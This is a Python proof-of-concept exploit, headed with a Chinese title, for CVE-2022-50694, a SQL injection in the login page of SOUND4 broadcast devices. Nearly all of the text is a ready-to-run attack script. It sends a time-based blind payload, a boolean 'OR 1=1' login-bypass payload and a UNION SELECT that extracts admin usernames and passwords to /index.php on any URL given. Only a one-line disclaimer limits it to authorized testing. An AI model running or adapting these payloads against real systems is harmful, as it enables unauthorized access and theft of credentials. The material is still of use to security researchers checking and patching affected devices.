CVE-2022-50694: SOUND4 IMPACT/FIRST/PULSE/Eco SQL注入漏洞

import requests import sys # CVE-2022-50694 SQL Injection PoC for SOUND4 IMPACT/FIRST/PULSE/Eco # Target: /index.php (login page) # Vulnerability: SQL Injection in 'username' POST parameter def exploit_sqli(target_url, payload): """ Exploit SQL injection vulnerability in SOUND4 login page Args: target_url: Base URL of the target SOUND4 device payload: SQL injection payload to inject Returns: Response from the server """ login_url = f"{target_url.rstrip('/')}/index.php" # Prepare POST data with SQL injection payload in username field data = { 'username': payload, 'password': 'any_password', 'submit': 'Login' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' } try: response = requests.post(login_url, data=data, headers=headers, timeout=30, verify=False) return response except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return None def test_blind_sqli(target_url): """ Test for blind/time-based SQL injection """ # Time-based blind SQL injection payload (MySQL) true_payload = "admin' AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END) AND '1'='1" false_payload = "admin' AND (SELECT CASE WHEN (1=2) THEN SLEEP(5) ELSE 0 END) AND '1'='1" print("[*] Testing blind SQL injection...") print(f"[*] True condition payload: {true_payload}") # Test with a simple boolean-based payload bool_payload = "admin' OR '1'='1' -- " print(f"[*] Boolean bypass payload: {bool_payload}") response = exploit_sqli(target_url, bool_payload) if response and response.status_code == 200: print("[+] Payload sent successfully") print(f"[+] Response length: {len(response.text)} bytes") return True return False def extract_admin_creds(target_url): """ Attempt to extract admin credentials using UNION-based injection """ # UNION-based injection to extract admin table data union_payload = "admin' UNION SELECT 1,2,3,4,username,password,7,8,9 FROM admin WHERE '1'='1" print("[*] Attempting UNION-based injection for credential extraction...") response = exploit_sqli(target_url, union_payload) if response: print(f"[+] Response received: {len(response.text)} bytes") # Check for common admin patterns in response if 'admin' in response.text.lower() or 'dashboard' in response.text.lower(): print("[+] Potential admin access detected!") return True return False if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2022-50694.py <target_url>") print("Example: python cve-2022-50694.py http://192.168.1.100") sys.exit(1) target = sys.argv[1] print(f"[*] CVE-2022-50694 SQL Injection PoC") print(f"[*] Target: {target}") print("-" * 50) # Run tests test_blind_sqli(target) print("-" * 50) extract_admin_creds(target) print("\n[!] Disclaimer: This PoC is for authorized testing only")